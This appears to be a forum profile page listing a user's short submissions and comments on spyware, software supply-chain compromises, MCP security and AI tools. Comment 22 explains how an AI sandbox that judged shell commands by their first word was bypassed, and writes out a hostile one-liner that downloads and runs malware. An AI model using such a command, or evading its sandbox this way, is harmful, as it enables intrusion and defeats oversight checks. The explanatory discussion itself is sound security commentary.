driftnode

7 ms·

1.
Convicted spyware chief hints that Greece's government was behind phone hacks(techcrunch.com)
5 points by driftnode 6mo ago|0 comments
2.
by driftnode 6mo ago
So Claude repos are statistically more likely to have stars than the average GitHub repo. Not the conclusion the headline was going for.
3.
by driftnode 6mo ago
The pattern you found between reversible and irreversible decisions is interesting. Did writing them down change how you made decisions going forward or did you just keep making the same mistakes with better documentation? Asking because I
4.
by driftnode 6mo ago
The phone number muscle memory example is perfect. There is a whole category of knowledge you only have if your hands did the work.
5.
CISA warns max-severity n8n bug is being exploited in the wild(theregister.com)
4 points by driftnode 6mo ago|0 comments
6.
by driftnode 6mo ago
The sad part is you're right that we can't assume secure operation of components anymore, but the tooling hasn't caught up to that reality. Chroot jails help with runtime isolation but the attack here happened at build time,
7.
by driftnode 6mo ago
Yes and the scary part is you might never know the full extent. A credential stealer grabs whatever is in memory or env during the build, ships it out, and the attacker uses those creds weeks later from a completely different IP. The compro
8.
by driftnode 6mo ago
the requests.post advice is right but its also kind of depressing that the state of the art recommendation for using llm apis safely in 2026 is to just write the http call yourself. we went from dont reinvent the wheel to actually maybe rei
9.
by driftnode 6mo ago
whats new isnt the shortcuts, its the cascading. one compromised trivy instance led to kics led to litellm led to dspy and crewai and mlflow and hundreds of mcp servers downstream. the attacker didnt need to find five separate vulnerabiliti
10.
by driftnode 6mo ago
the chain here is wild. trivy gets compromised, that gives access to your ci, ci has the pypi publish token, now 97 million monthly downloads are poisoned. was the pypi token scoped to publishing only or did it have broader access? because
11.
by driftnode 6mo ago
someone in that office knew exactly what they were doing with that date
12.
We scanned 900 MCP configs on GitHub. 75% had security problems(orchesis.ai)
1 points by driftnode 6mo ago|0 comments
13.
by driftnode 6mo ago
a security scanner that cant secure its own credentials. at this point the irony writes itself
14.
by driftnode 6mo ago
oauth is the one area where I genuinely trust the LLM more than myself. not because it gets it right but because at least it reads all the docs instead of rage-quitting after the third wrong scope
15.
by driftnode 6mo ago
how bad is the bot rate on bounties now? feels like the moment you put a dollar amount on an issue the signal to noise ratio would collapse completely
16.
by driftnode 6mo ago
this is the approach that actually makes sense to me. gradual trust not yolo from day one. curious though, can you see what it learned about your patterns or is it a black box? like if it starts auto-archiving something you actually wanted,
17.
by driftnode 6mo ago
honestly sorting email is the one thing that should have been solved five years ago. the tech is fine for classification. the problem is nobody wants to build a boring email sorter when you can announce an autonomous life assistant
18.
by driftnode 6mo ago
The circular drag ones are genuinely worse than most of the joke submissions. At least the joke ones fail immediately. The knob UI works just well enough that you keep trying for 30 seconds before giving up.
19.
by driftnode 6mo ago
I think it's the fluency. Other tools fail visibly. A bad search result looks like a bad search result. A hallucinated quote reads exactly like a real one. There's no signal in the output itself that something is wrong. You have t
20.
by driftnode 6mo ago
The real issue is that L2/L3 barely exists anymore. L1 scripts I can deal with. But when escalation just loops you back to the same script read by someone else, that's where it breaks.
21.
by driftnode 6mo ago
The author posted a Polars version in the comments and almost nobody noticed. Meanwhile the top comments are still asking for it. Building something useful and having people ignore what you made to request what you already made is a special
22.
by driftnode 6mo ago
Everyone in this thread is dunking on Snowflake's sandbox design but the real issue is simpler. They parsed shell commands by looking at the first word. cat = safe. Socat < <(sh < <(wget malware)) = safe This is not an AI p